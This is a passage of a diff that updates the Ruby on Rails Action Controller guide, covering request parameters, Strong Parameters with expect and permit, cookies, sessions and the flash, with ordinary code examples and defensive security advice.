+  # This action receives query string parameters from an HTTP GET request
+  # at the URL "/clients?status=activated"
   def index
     if params[:status] == "activated"
       @clients = Client.activated
@@ -85,95 +133,192 @@ class ClientsController < ApplicationController
     end
   end
 
-  # This action uses POST parameters. They are most likely coming
-  # from an HTML form which the user has submitted. The URL for
-  # this RESTful request will be "/clients", and the data will be
-  # sent as part of the request body.
+  # This action receives parameters from a POST request to "/clients" URL with  form data in the request body.
   def create
     @client = Client.new(params[:client])
     if @client.save
       redirect_to @client
     else
-      # This line overrides the default rendering behavior, which
-      # would have been to render the "create" view.
       render "new"
     end
   end
 end
 ```
 
+NOTE: The `params` hash is not a plain old Ruby Hash; instead, it is an
+[`ActionController::Parameters`][] object. It does not inherit from Hash, but it behaves mostly like Hash.
+It provides methods for filtering `params` and, unlike a Hash, keys `:foo` and `"foo"` are considered to be the same.
+
+[`params`]:
+    https://api.rubyonrails.org/classes/ActionController/StrongParameters.html#method-i-params
+[`ActionController::Parameters`]:
+    https://api.rubyonrails.org/classes/ActionController/Parameters.html
+
 ### Hash and Array Parameters
 
-The `params` hash is not limited to one-dimensional keys and values. It can contain nested arrays and hashes. To send an array of values, append an empty pair of square brackets "[]" to the key name:
+The `params` hash is not limited to one-dimensional keys and values. It can
+contain nested arrays and hashes. To send an array of values, append an empty
+pair of square brackets `[]` to the key name:
 
 ```
-GET /clients?ids[]=1&ids[]=2&ids[]=3
+GET /users?ids[]=1&ids[]=2&ids[]=3
 ```
 
-NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5d=3" as the "[" and "]" characters are not allowed in URLs. Most of the time you don't have to worry about this because the browser will encode it for you, and Rails will decode it automatically, but if you ever find yourself having to send those requests to the server manually you should keep this in mind.
+NOTE: The actual URL in this example will be encoded as
+`/users?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5d=3` as the `[` and `]` characters are
+not allowed in URLs. Most of the time you don't have to worry about this because
+the browser will encode it for you, and Rails will decode it automatically, but
+if you ever find yourself having to send those requests to the server manually
+you should keep this in mind.
 
-The value of `params[:ids]` will now be `["1", "2", "3"]`. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.
+The value of `params[:ids]` will be the array `["1", "2", "3"]`. Note that
+parameter values are always strings; Rails does not attempt to guess or cast the
+type.
 
-NOTE: Values such as `[nil]` or `[nil, nil, ...]` in `params` are replaced
-with `[]` for security reasons by default. See [Security Guide](security.html#unsafe-query-generation)
-for more information.
+NOTE: Values such as `[nil]` or `[nil, nil, ...]` in `params` are replaced with
+`[]` for security reasons by default. See [Security
+Guide](security.html#unsafe-query-generation) for more information.
 
 To send a hash, you include the key name inside the brackets:
 
 ```html
-<form accept-charset="UTF-8" action="/clients" method="post">
-  <input type="text" name="client[name]" value="Acme" />
-  <input type="text" name="client[phone]" value="12345" />
-  <input type="text" name="client[address][postcode]" value="12345" />
-  <input type="text" name="client[address][city]" value="Carrot City" />
+<form accept-charset="UTF-8" action="/users" method="post">
+  <input type="text" name="user[name]" value="Acme" />
+  <input type="text" name="user[phone]" value="12345" />
+  <input type="text" name="user[address][postcode]" value="12345" />
+  <input type="text" name="user[address][city]" value="Carrot City" />
 </form>
 ```
 
-When this form is submitted, the value of `params[:client]` will be `{ "name" => "Acme", "phone" => "12345", "address" => { "postcode" => "12345", "city" => "Carrot City" } }`. Note the nested hash in `params[:client][:address]`.
+When this form is submitted, the value of `params[:user]` will be `{ "name" =>
+"Acme", "phone" => "12345", "address" => { "postcode" => "12345", "city" =>
+"Carrot City" } }`. Note the nested hash in `params[:user][:address]`.
+
+The `params` object acts like a Hash, but lets you use symbols and strings
+interchangeably as keys.
 
-The `params` object acts like a Hash, but lets you use symbols and strings interchangeably as keys.
+### Composite Key Parameters
 
-### JSON parameters
+[Composite key parameters](active_record_composite_primary_keys.html) contain
+multiple values in one parameter separated by a delimiter (e.g., an underscore).
+Therefore, you will need to extract each value so that you can pass them to
+Active Record. You can use the `extract_value`  method to do that.
 
-If you're writing a web service application, you might find yourself more comfortable accepting parameters in JSON format. If the "Content-Type" header of your request is set to "application/json", Rails will automatically load your parameters into the `params` hash, which you can access as you would normally.
+For example, given the following controller:
+
+```ruby
+class BooksController < ApplicationController
+  def show
+    # Extract the composite ID value from URL parameters.
+    id = params.extract_value(:id)
+    @book = Book.find(id)
+  end
+end
+```
+
+And this route:
+
+```ruby
+get "/books/:id", to: "books#show"
+```
+
+When a user requests the URL `/books/4_2`, the controller will extract the
+composite key value `["4", "2"]` and pass it to `Book.find`. The `extract_value`
+method may be used to extract arrays out of any delimited parameters.
+
+### JSON Parameters
+
+If your application exposes an API, you will likely accept parameters in JSON
+format. If the `content-type` header of your request is set to
+`application/json`, Rails will automatically load your parameters into the
+`params` hash, which you can access as you would normally.
 
 So for example, if you are sending this JSON content:
 
 ```json
-{ "company": { "name": "acme", "address": "123 Carrot Street" } }
+{ "user": { "name": "acme", "address": "123 Carrot Street" } }
+```
+
+Your controller will receive:
+
+```ruby
+{ "user" => { "name" => "acme", "address" => "123 Carrot Street" } }
 ```
 
-Your controller will receive `params[:company]` as `{ "name" => "acme", "address" => "123 Carrot Street" }`.
+#### Configuring Wrap Parameters
 
-Also, if you've turned on `config.wrap_parameters` in your initializer or called `wrap_parameters` in your controller, you can safely omit the root element in the JSON parameter. In this case, the parameters will be cloned and wrapped with a key chosen based on your controller's name. So the above JSON request can be written as:
+You can use [Wrap Parameters][], which automatically add the controller name to
+JSON parameters. For example, you can send the below JSON without a root `:user`
+key prefix:
 
 ```json
 { "name": "acme", "address": "123 Carrot Street" }
 ```
 
-And, assuming that you're sending the data to `CompaniesController`, it would then be wrapped within the `:company` key like this:
+Assuming that you're sending the above data to the `UsersController`, the JSON
+will be wrapped within the `:user` key like this:
+
+```ruby
+{ name: "acme", address: "123 Carrot Street", user: { name: "acme", address: "123 Carrot Street" } }
+```
+
+NOTE: Wrap Parameters adds a clone of the parameters to the hash within a key
+that is the same as the controller name. As a result, both the original version
+of the parameters and the "wrapped" version of the parameters will exist in the
+params hash.
+
+This feature clones and wraps parameters with a key chosen based on your
+controller's name. It is configured to `true` by default. If you do not want to
+wrap parameters you can
+[configure](configuring.html#config-action-controller-wrap-parameters-by-default)
+it to `false`.
 
 ```ruby
-{ name: "acme", address: "123 Carrot Street", company: { name: "acme", address: "123 Carrot Street" } }
+config.action_controller.wrap_parameters_by_default = false
 ```
 
-You can customize the name of the key or specific parameters you want to wrap by consulting the [API documentation](http://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html)
+You can also customize the name of the key or specific parameters you want to
+wrap, see the [API
+documentation](https://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html)
+for more.
 
-NOTE: Support for parsing XML parameters has been extracted into a gem named `actionpack-xml_parser`.
+[Wrap Parameters]:
+    https://api.rubyonrails.org/classes/ActionController/ParamsWrapper/Options/ClassMethods.html#method-i-wrap_parameters
 
 ### Routing Parameters
 
-The `params` hash will always contain the `:controller` and `:action` keys, but you should use the methods `controller_name` and `action_name` instead to access these values. Any other parameters defined by the routing, such as `:id`, will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the `:status` parameter in a "pretty" URL:
+Parameters specified as part of a route declaration in the `routes.rb` file are
+also made available in the `params` hash. For example, we can add a route that
+captures the `:status` parameter for a client:
 
 ```ruby
-get '/clients/:status' => 'clients#index', foo: 'bar'
+get "/clients/:status", to: "clients#index", foo: "bar"
 ```
 
-In this case, when a user opens the URL `/clients/active`, `params[:status]` will be set to "active". When this route is used, `params[:foo]` will also be set to "bar", as if it were passed in the query string. Your controller will also receive `params[:action]` as "index" and `params[:controller]` as "clients".
+When a user navigates to `/clients/active` URL, `params[:status]` will be set to
+"active". When this route is used, `params[:foo]` will also be set to "bar", as
+if it were passed in the query string.
+
+Any other parameters defined by the route declaration, such as `:id`, will also
+be available.
+
+NOTE: In the above example, your controller will also receive `params[:action]`
+as "index" and `params[:controller]` as "clients". The `params` hash will always
+contain the `:controller` and `:action` keys, but it's recommended to use the
+methods [`controller_name`][] and [`action_name`][] instead to access these
+values.
 
-### `default_url_options`
+[`controller_name`]:
+    https://api.rubyonrails.org/classes/ActionController/Metal.html#method-i-controller_name
+[`action_name`]:
+    https://api.rubyonrails.org/classes/AbstractController/Base.html#method-i-action_name
 
-You can set global default parameters for URL generation by defining a method called `default_url_options` in your controller. Such a method must return a hash with the desired defaults, whose keys must be symbols:
+### The `default_url_options` Method
+
+You can set global default parameters for [`url_for`](
+https://api.rubyonrails.org/classes/ActionView/RoutingUrlFor.html#method-i-url_for)
+by defining a method called `default_url_options` in your controller. For
+example:
 
 ```ruby
 class ApplicationController < ActionController::Base
@@ -183,127 +328,220 @@ class ApplicationController < ActionController::Base
 end
 ```
 
-These options will be used as a starting point when generating URLs, so it's possible they'll be overridden by the options passed to `url_for` calls.
+The specified defaults will be used as a starting point when generating URLs.
+They can be overridden by the options passed to `url_for` or any path helper
+such as `posts_path`. For example, by setting `locale: I18n.locale`, Rails will
+automatically add the locale to every URL:
+
+```ruby
+posts_path # => "/posts?locale=en"
+```
 
-If you define `default_url_options` in `ApplicationController`, as in the example above, these defaults will be used for all URL generation. The method can also be defined in a specific controller, in which case it only affects URLs generated there.
+You can still override this default if needed:
 
-In a given request, the method is not actually called for every single generated URL; for performance reasons, the returned hash is cached, there is at most one invocation per request.
+```ruby
+posts_path(locale: :fr) # => "/posts?locale=fr"
+```
 
-### Strong Parameters
+NOTE: Under the hood, `posts_path` is a shorthand for calling `url_for` with the
+appropriate parameters.
 
-With strong parameters, Action Controller parameters are forbidden to
-be used in Active Model mass assignments until they have been
-whitelisted. This means that you'll have to make a conscious decision about
-which attributes to allow for mass update. This is a better security
-practice to help prevent accidentally allowing users to update sensitive
-model attributes.
+If you define `default_url_options` in `ApplicationController`, as in the
+example above, these defaults will be used for all URL generation. The method
+can also be defined in a specific controller, in which case it only applies to
+URLs generated for that controller.
 
-In addition, parameters can be marked as required and will flow through a
-predefined raise/rescue flow that will result in a 400 Bad Request being
-returned if not all required parameters are passed in.
+In a given request, the method is not actually called for every single generated
+URL. For performance reasons the returned hash is cached per request.
+
+Strong Parameters
+-----------------
+
+With Action Controller [Strong
+Parameters](https://api.rubyonrails.org/classes/ActionController/StrongParameters.html),
+parameters cannot be used in Active Model mass assignments until they have been
+explicitly permitted. This means you will need to decide which attributes to
+permit for mass update and declare them in the controller. This is a security
+practice to prevent users from accidentally updating sensitive model attributes.
+
+In addition, parameters can be marked as required and the request will result in
+a 400 Bad Request being returned if not all required parameters are passed in.
 
 ```ruby
 class PeopleController < ActionController::Base
-  # This will raise an ActiveModel::ForbiddenAttributesError exception
-  # because it's using mass assignment without an explicit permit
-  # step.
+  # This will raise an ActiveModel::ForbiddenAttributesError
+  # because it's using mass assignment without an explicit permit.
   def create
     Person.create(params[:person])
   end
 
-  # This will pass with flying colors as long as there's a person key
-  # in the parameters, otherwise it'll raise a
-  # ActionController::ParameterMissing exception, which will get
-  # caught by ActionController::Base and turned into a 400 Bad
-  # Request error.
+  # This will work as we are using `person_params` helper method, which has the
+  # call to `expect` to allow mass assignment.
   def update
-    person = current_account.people.find(params[:id])
+    person = Person.find(params[:id])
     person.update!(person_params)
     redirect_to person
   end
 
   private
-    # Using a private method to encapsulate the permissible parameters
-    # is just a good pattern since you'll be able to reuse the same
-    # permit list between create and update. Also, you can specialize
-    # this method with per-user checking of permissible attributes.
+    # Using a private method to encapsulate the permitted parameters is a good
+    # pattern. You can use the same list for both create and update.
     def person_params
-      params.require(:person).permit(:name, :age)
+      params.expect(person: [:name, :age])
     end
 end
 ```
 
-#### Permitted Scalar Values
+### Permitting Values
 
-Given
+#### `expect`
+
+The [`expect`][] method provides a concise and safe way to require and permit
+parameters.
 
 ```ruby
-params.permit(:id)
+id = params.expect(:id)
 ```
 
-the key `:id` will pass the whitelisting if it appears in `params` and
-it has a permitted scalar value associated. Otherwise, the key is going
-to be filtered out, so arrays, hashes, or any other objects cannot be
-injected.
+The above `expect` will always return a scalar value and not an array or hash.
+Another example is form params, you can use `expect` to ensure that the root key
+is present and the attributes are permitted.
+
+```ruby
+user_params = params.expect(user: [:username, :password])
+user_params.has_key?(:username) # => true
+```
 
-The permitted scalar types are `String`, `Symbol`, `NilClass`,
-`Numeric`, `TrueClass`, `FalseClass`, `Date`, `Time`, `DateTime`,
-`StringIO`, `IO`, `ActionDispatch::Http::UploadedFile`, and
-`Rack::Test::UploadedFile`.
+In the above example, if the `:user` key is not a nested hash with the specified
+keys, `expect` will raise an error and return a 400 Bad Request response.
 
-To declare that the value in `params` must be an array of permitted
-scalar values, map the key to an empty array:
+To require and permit an entire hash of parameters, [`expect`][] can be used in
+this way.
 
 ```ruby
-params.permit(id: [])
+params.expect(log_entry: {})
 ```
 
-Sometimes it is not possible or convenient to declare the valid keys of
-a hash parameter or its internal structure. Just map to an empty hash:
+This marks the `:log_entry` parameters hash and any sub-hash of it as permitted
+and does not check for permitted scalars, anything is accepted.
 
-```ruby
-params.permit(preferences: {})
+WARNING: Extreme care should be taken when calling `expect` with an empty
+hash, as it will allow all current and future model attributes to be
+mass-assigned.
+
+#### `permit`
+
+Calling [`permit`][] allows the specified key in `params` (`:id` or `:admin`
+below) for inclusion in mass assignment (e.g. via `create` or `update`):
+
+```irb
+params = ActionController::Parameters.new(id: 1, admin: "true")
+=> #<ActionController::Parameters {"id"=>1, "admin"=>"true"} permitted: false>
+params.permit(:id)
+=> #<ActionController::Parameters {"id"=>1} permitted: true>
+params.permit(:id, :admin)
+=> #<ActionController::Parameters {"id"=>1, "admin"=>"true"} permitted: true>
 ```
 
-but be careful because this opens the door to arbitrary input. In this
-case, `permit` ensures values in the returned structure are permitted
-scalars and filters out anything else.
+For the permitted key `:id`, its value also needs to be one of these permitted
+scalar values: `String`, `Symbol`, `NilClass`, `Numeric`, `TrueClass`,
+`FalseClass`, `Date`, `Time`, `DateTime`, `StringIO`, `IO`,
+`ActionDispatch::Http::UploadedFile`, and `Rack::Test::UploadedFile`.
 
-To whitelist an entire hash of parameters, the `permit!` method can be
-used:
+If you have not called `permit` on the key, it will be filtered out. Arrays,
+hashes, or any other objects are not injected by default.
 
-```ruby
-params.require(:log_entry).permit!
+To include a value in `params` that's an array of one of the permitted scalar
+values, you can map the key to an empty array like this:
+
+```irb
+params = ActionController::Parameters.new(tags: ["rails", "parameters"])
+=> #<ActionController::Parameters {"tags"=>["rails", "parameters"]} permitted: false>
+params.permit(tags: [])
+=> #<ActionController::Parameters {"tags"=>["rails", "parameters"]} permitted: true>
+```
+
+To include hash values, you can map to an empty hash:
+
+```irb
+params = ActionController::Parameters.new(options: { darkmode: true })
+=> #<ActionController::Parameters {"options"=>{"darkmode"=>true}} permitted: false>
+params.permit(options: {})
+=> #<ActionController::Parameters {"options"=>#<ActionController::Parameters {"darkmode"=>true} permitted: true>} permitted: true>
+```
+
+The above `permit` call ensures that values in `options` are permitted scalars
+and filters out anything else.
+
+WARNING: The `permit` with an empty hash is convenient since sometimes it is not
+possible or convenient to declare each valid key of a hash parameter or its
+internal structure. But note that the above `permit` with an empty hash opens
+the door to arbitrary input.
+
+#### `permit!`
+
+There is also [`permit!`][] (with an `!`) which permits an entire hash of
+parameters without checking the values.
+
+```irb
+params = ActionController::Parameters.new(id: 1, admin: "true")
+=> #<ActionController::Parameters {"id"=>1, "admin"=>"true"} permitted: false>
+params.permit!
+=> #<ActionController::Parameters {"id"=>1, "admin"=>"true"} permitted: true>
 ```
 
-This marks the `:log_entry` parameters hash and any sub-hash of it as
-permitted and does not check for permitted scalars, anything is accepted.
-Extreme care should be taken when using `permit!`, as it will allow all current
-and future model attributes to be mass-assigned.
+WARNING: Extreme care should be taken when using `permit!`, as it will allow all
+current and *future* model attributes to be mass-assigned.
 
-#### Nested Parameters
+[`permit`]:
+    https://api.rubyonrails.org/classes/ActionController/Parameters.html#method-i-permit
+[`permit!`]:
+    https://api.rubyonrails.org/classes/ActionController/Parameters.html#method-i-permit-21
+[`expect`]:
+    https://api.rubyonrails.org/classes/ActionController/Parameters.html#method-i-expect
 
-You can also use `permit` on nested parameters, like:
+### Nested Parameters
+
+You can also use `expect` (or `permit`) on nested parameters, like:
 
 ```ruby
-params.permit(:name, { emails: [] },
-              friends: [ :name,
-                         { family: [ :name ], hobbies: [] }])
+# Given the example expected params:
+params = ActionController::Parameters.new(
+  name: "Martin",
+  emails: ["me@example.com"],
+  friends: [
+    { name: "André", family: { name: "RubyGems" }, hobbies: ["keyboards", "card games"] },
+    { name: "Kewe", family: { name: "Baroness" }, hobbies: ["video games"] },
+  ]
+)
+# the following expect will ensure the params are permitted
+name, emails, friends = params.expect(
+  :name,                 # permitted scalar
+  emails: [],            # array of permitted scalars
+  friends: [[            # array of permitted Parameter hashes
+    :name,               # permitted scalar
+    family: [:name],     # family: { name: "permitted scalar" }
+    hobbies: []          # array of permitted scalars
+  ]]
+)
 ```
 
-This declaration whitelists the `name`, `emails`, and `friends`
-attributes. It is expected that `emails` will be an array of permitted
-scalar values, and that `friends` will be an array of resources with
-specific attributes: they should have a `name` attribute (any
-permitted scalar values allowed), a `hobbies` attribute as an array of
-permitted scalar values, and a `family` attribute which is restricted
-to having a `name` (any permitted scalar values allowed here, too).
+This declaration permits the `name`, `emails`, and `friends` attributes and
+returns them each. It is expected that `emails` will be an array of permitted
+scalar values, and that `friends` will be an array of resources (note the new
+double array syntax to explicitly require an array) with specific attributes.
+These attributes should have a `name` attribute (any permitted scalar values allowed), a
+`hobbies` attribute as an array of permitted scalar values, and a `family`
+attribute which is restricted to a hash with only a `name` key and any permitted
+scalar value.
+
+### Examples
 
-#### More Examples
+Here are some examples of how to use `permit` for different use cases.
 
-You may want to also use the permitted attributes in your `new`
-action. This raises the problem that you can't use `require` on the
-root key because, normally, it does not exist when calling `new`:
+**Example 1**: You may want to use the permitted attributes in your `new` action.
+This raises the problem that you can't use [`require`][] on the root key
+because, normally, it does not exist when calling `new`:
 
 ```ruby
 # using `fetch` you can supply a default and use
@@ -311,152 +549,182 @@ root key because, normally, it does not exist when calling `new`:
 params.fetch(:blog, {}).permit(:title, :author)
 ```
 
-The model class method `accepts_nested_attributes_for` allows you to
+**Example 2**: The model class method `accepts_nested_attributes_for` allows you to
 update and destroy associated records. This is based on the `id` and `_destroy`
 parameters:
 
 ```ruby
 # permit :id and :_destroy
-params.require(:author).permit(:name, books_attributes: [:title, :id, :_destroy])
+params.expect(author: [ :name, books_attributes: [[ :title, :id, :_destroy ]] ])
 ```
 
-Hashes with integer keys are treated differently, and you can declare
+**Example 3**: Hashes with integer keys are treated differently, and you can declare
 the attributes as if they were direct children. You get these kinds of
-parameters when you use `accepts_nested_attributes_for` in combination
-with a `has_many` association:
+parameters when you use `accepts_nested_attributes_for` in combination with a
+`has_many` association:
 
 ```ruby
-# To whitelist the following data:
+# To permit the following data:
 # {"book" => {"title" => "Some Book",
 #             "chapters_attributes" => { "1" => {"title" => "First Chapter"},
 #                                        "2" => {"title" => "Second Chapter"}}}}
 
-params.require(:book).permit(:title, chapters_attributes: [:title])
+params.expect(book: [ :title, chapters_attributes: [[ :title ]] ])
 ```
 
-#### Outside the Scope of Strong Parameters
-
-The strong parameter API was designed with the most common use cases
-in mind. It is not meant as a silver bullet to handle all of your
-whitelisting problems. However, you can easily mix the API with your
-own code to adapt to your situation.
-
-Imagine a scenario where you have parameters representing a product
-name and a hash of arbitrary data associated with that product, and
-you want to whitelist the product name attribute and also the whole
-data hash. The strong parameters API doesn't let you directly
-whitelist the whole of a nested hash with any keys, but you can use
-the keys of your nested hash to declare what to whitelist:
+**Example 4**: Imagine a scenario where you have parameters representing a product
+name, and a hash of arbitrary data associated with that product, and you want to
+permit the product name attribute and also the whole data hash:
 
 ```ruby
 def product_params
-  params.require(:product).permit(:name, data: params[:product][:data].try(:keys))
+  params.expect(product: [ :name, data: {} ])
 end
 ```
 
-Session
--------
-
-Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:
+[`require`]:
+    https://api.rubyonrails.org/classes/ActionController/Parameters.html#method-i-require
 
-* `ActionDispatch::Session::CookieStore` - Stores everything on the client.
-* `ActionDispatch::Session::CacheStore` - Stores the data in the Rails cache.
-* `ActionDispatch::Session::ActiveRecordStore` - Stores the data in a database using Active Record. (require `activerecord-session_store` gem).
-* `ActionDispatch::Session::MemCacheStore` - Stores the data in a memcached cluster (this is a legacy implementation; consider using CacheStore instead).
+Cookies
+-------
 
-All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure).
+The concept of a cookie is not specific to Rails. A
+[cookie](https://en.wikipedia.org/wiki/HTTP_cookie) (also known as an HTTP
+cookie or a web cookie) is a small piece of data from the server that is saved
+in the user's browser. The browser may store cookies, create new cookies, modify
+existing ones, and send them back to the server with later requests. Cookies
+persist data across web requests and therefore enable web applications to
+remember user preferences.
 
-For most stores, this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store - the CookieStore - which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight and it requires zero setup in a new application in order to use the session. The cookie data is cryptographically signed to make it tamper-proof. And it is also encrypted so anyone with access to it can't read its contents. (Rails will not accept it if it has been edited).
+Rails provides an easy way to access cookies via the [`cookies`][] method, which
+works like a hash:
 
-The CookieStore can store around 4kB of data - much less than the others - but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error.
+```ruby
+class CommentsController < ApplicationController
+  def new
+    # Auto-fill the commenter's name if it has been stored in a cookie
+    @comment = Comment.new(author: cookies[:commenter_name])
+  end
 
-If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using `ActionDispatch::Session::CacheStore`. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time.
+  def create
+    @comment = Comment.new(comment_params)
+    if @comment.save
+      if params[:remember_name]
+        # Save the commenter's name in a cookie.
+        cookies[:commenter_name] = @comment.author
+      else
+        # Delete cookie for the commenter's name, if any.
+        cookies.delete(:commenter_name)
+      end
+      redirect_to @comment.article
+    else
+      render action: "new"
+    end
+  end
+end
+```
 
-Read more about session storage in the [Security Guide](security.html).
+NOTE: To delete a cookie, you need to use `cookies.delete(:key)`. Setting the
+`key` to a `nil` value does not delete the cookie.
 
-If you need a different session storage mechanism, you can change it in an initializer:
+When passed a scalar value, the cookie will be deleted when the user closes their browser.
+If you want the cookie to expire at a specific time, pass a hash with the `:expires` option when setting the cookie.
+For example, to set a cookie that expires in 1 hour:
 
 ```ruby
-# Use the database for sessions instead of the cookie-based default,
-# which shouldn't be used to store highly confidential information
-# (create the session table with "rails g active_record:session_migration")
-# Rails.application.config.session_store :active_record_store
+cookies[:login] = { value: "XJ-122", expires: 1.hour }
 ```
 
-Rails sets up a session key (the name of the cookie) when signing the session data. These can also be changed in an initializer:
+If you want to create cookies that never expire use the permanent cookie jar.
+This sets the assigned cookies to have an expiration date 20 years from now.
 
 ```ruby
-# Be sure to restart your server when you modify this file.
-Rails.application.config.session_store :cookie_store, key: '_your_app_session'
+cookies.permanent[:locale] = "fr"
 ```
 
-You can also pass a `:domain` key and specify the domain name for the cookie:
+### Encrypted and Signed Cookies
 
-```ruby
-# Be sure to restart your server when you modify this file.
-Rails.application.config.session_store :cookie_store, key: '_your_app_session', domain: ".example.com"
-```
+Since cookies are stored on the client browser, they can be susceptible to
+tampering and are not considered secure for storing sensitive data. Rails
+provides a signed cookie jar and an encrypted cookie jar for storing sensitive
+data. The signed cookie jar appends a cryptographic signature on the cookie
+values to protect their integrity. The encrypted cookie jar encrypts the values
+in addition to signing them, so that they cannot be read by the user.
 
-Rails sets up (for the CookieStore) a secret key used for signing the session data. This can be changed in `config/secrets.yml`
+Refer to the [API
+documentation](https://api.rubyonrails.org/classes/ActionDispatch/Cookies.html)
+for more details.
 
 ```ruby
-# Be sure to restart your server when you modify this file.
+class CookiesController < ApplicationController
+  def set_cookie
+    cookies.signed[:user_id] = current_user.id
+    cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2024
+    redirect_to action: "read_cookie"
+  end
 
-# Your secret key is used for verifying the integrity of signed cookies.
-# If you change this key, all old signed cookies will become invalid!
+  def read_cookie
+    cookies.encrypted[:expiration_date] # => "2024-03-20"
+  end
+end
+```
 
-# Make sure the secret is at least 30 characters and all random,
-# no regular words or you'll be exposed to dictionary attacks.
-# You can use `rails secret` to generate a secure secret key.
+These special cookie jars use a serializer to serialize the cookie values into
+strings and deserialize them into Ruby objects when read back. You can specify
+which serializer to use via [`config.action_dispatch.cookies_serializer`][]. The
+default serializer for new applications is `:json`.
 
-# Make sure the secrets in this file are kept private
-# if you're sharing your code publicly.
+NOTE: Be aware that JSON has limited support serializing Ruby objects such as
+`Date`, `Time`, and `Symbol`. These will be serialized and deserialized into
+`String`s.
 
-development:
-  secret_key_base: a75d...
+If you need to store these or more complex objects, you may need to manually
+convert their values when reading them in subsequent requests.
 
-test:
-  secret_key_base: 492f...
+If you use the cookie session store, the above applies to the `session` and
+`flash` hash as well.
 
-# Do not keep production secrets in the repository,
-# instead read values from the environment.
-production:
-  secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
-```
+[`config.action_dispatch.cookies_serializer`]:
+    configuring.html#config-action-dispatch-cookies-serializer
+[`cookies`]:
+    https://api.rubyonrails.org/classes/ActionController/Cookies.html#method-i-cookies
 
-NOTE: Changing the secret when using the `CookieStore` will invalidate all existing sessions.
+Session
+-------
 
-### Accessing the Session
+While cookies are stored client-side, session data is stored server-side (in
+memory, a database, or a cache), and the duration is usually temporary and tied
+to the user's session (e.g. until they close the browser). An example use case
+for session is storing sensitive data like user authentication.
 
-In your controller you can access the session through the `session` instance method.
+In a Rails application, the session is available in the controller and the view.
 
-NOTE: Sessions are lazily loaded. If you don't access sessions in your action's code, they will not be loaded. Hence you will never need to disable sessions, just not accessing them will do the job.
+### Working with the Session
 
-Session values are stored using key/value pairs like a hash:
+You can use the `session` instance method to access the session in your
+controllers. Session values are stored as key/value pairs like a hash:
 
 ```ruby
 class ApplicationController < ActionController::Base
-
   private
-
-  # Finds the User with the ID stored in the session with the key
-  # :current_user_id This is a common way to handle user login in
-  # a Rails application; logging in sets the session value and
-  # logging out removes it.
-  def current_user
-    @_current_user ||= session[:current_user_id] &&
-      User.find_by(id: session[:current_user_id])
-  end
+    # Look up the key `:current_user_id` in the session and use it to
+    # find the current `User`. This is a common way to handle user login in
+    # a Rails application; logging in sets the session value and
+    # logging out removes it.
+    def current_user
+      @current_user ||= User.find_by(id: session[:current_user_id]) if session[:current_user_id]
+    end
 end
 ```
 
-To store something in the session, just assign it to the key like a hash:
+To store something in the session, you can assign it to a key similar to adding
+a value to a hash. After a user is authenticated, its `id` is saved in the
+session to be used for subsequent requests:
 
 ```ruby
-class LoginsController < ApplicationController
-  # "Create" a login, aka "log the user in"
+class SessionsController < ApplicationController
   def create
-    if user = User.authenticate(params[:username], params[:password])
+    if user = User.authenticate_by(email: params[:email], password: params[:password])
       # Save the user ID in the session so it can be used in
       # subsequent requests
       session[:current_user_id] = user.id
@@ -466,48 +734,101 @@ class LoginsController < ApplicationController
 end
 ```
 
-To remove something from the session, assign that key to be `nil`:
+To remove something from the session, delete the key/value pair. Deleting the
+`current_user_id` key from the session is a typical way to log the user out:
 
 ```ruby
-class LoginsController < ApplicationController
-  # "Delete" a login, aka "log the user out"
+class SessionsController < ApplicationController
   def destroy
-    # Remove the user id from the session
-    @_current_user = session[:current_user_id] = nil
-    redirect_to root_url
+    session.delete(:current_user_id)
+    # Clear the current user as well.
+    @current_user = nil
+    redirect_to root_url, status: :see_other
   end
 end
 ```
 
-To reset the entire session, use `reset_session`.
+It is possible to reset the entire session with [`reset_session`][]. It is
+recommended to use `reset_session` after logging in to avoid session fixation
+attacks. Please refer to the [Security
+Guide](https://edgeguides.rubyonrails.org/security.html#session-fixation-countermeasures)
+for details.
+
+NOTE: Sessions are lazily loaded. If you don't access sessions in your action's
+code, they will not be loaded. Hence, you will never need to disable sessions -
+not accessing them will do the job.
+
+[`reset_session`]:
+    https://api.rubyonrails.org/classes/ActionController/Metal.html#method-i-reset_session
 
 ### The Flash
 
-The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for passing error messages etc.
+The [flash](https://api.rubyonrails.org/classes/ActionDispatch/Flash.html)
+provides a way to pass temporary data between controller actions. Anything you
+place in the flash will be available to the very next action and then cleared.
+The flash is typically used for setting messages (e.g. notices and alerts) in a
+controller action before redirecting to an action that displays the message to
+the user.
 
-It is accessed in much the same way as the session, as a hash (it's a [FlashHash](http://api.rubyonrails.org/classes/ActionDispatch/Flash/FlashHash.html) instance).
+The flash is accessed via the [`flash`][] method. Similar to the session, the
+flash values are stored as key/value pairs.
 
-Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:
+For example, in the controller action for logging out a user, the controller can
+set a flash message which can be displayed to the user on the next request:
 
 ```ruby
-class LoginsController < ApplicationController
+class SessionsController < ApplicationController
   def destroy
-    session[:current_user_id] = nil
+    session.delete(:current_user_id)
     flash[:notice] = "You have successfully logged out."
-    redirect_to root_url
+    redirect_to root_url, status: :see_other
   end
 end
 ```
 
-Note that it is also possible to assign a flash message as part of the redirection. You can assign `:notice`, `:alert` or the general purpose `:flash`:
+Displaying a message after a user performs some interactive action in your
+application is a good practice to give the user feedback that their action was
+successful (or that there were errors).
